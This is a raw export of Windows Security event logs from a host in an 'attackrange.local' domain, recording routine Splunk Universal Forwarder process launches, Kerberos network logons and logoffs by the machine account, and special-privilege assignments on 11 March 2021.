Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13a0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252118 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x290 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252117 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x290 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x49c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252116 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x49c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13a0 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool web list settings --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252115 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xe90 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252114 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe90 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252113 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1038 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252112 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1230 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252111 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11cc - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1230 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252110 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1230 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x13dc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: C:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252109 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13dc - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252154 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1513F7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252153 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1513F7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64604 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252152 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1513F7 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252151 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151396 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252150 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x151396 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64603 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252149 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151396 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252148 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151330 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252147 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x151330 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64602 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252146 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x151330 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252145 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1512CF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252144 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1512CF - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64601 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252143 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1512CF - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252142 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x11bc - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252141 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - 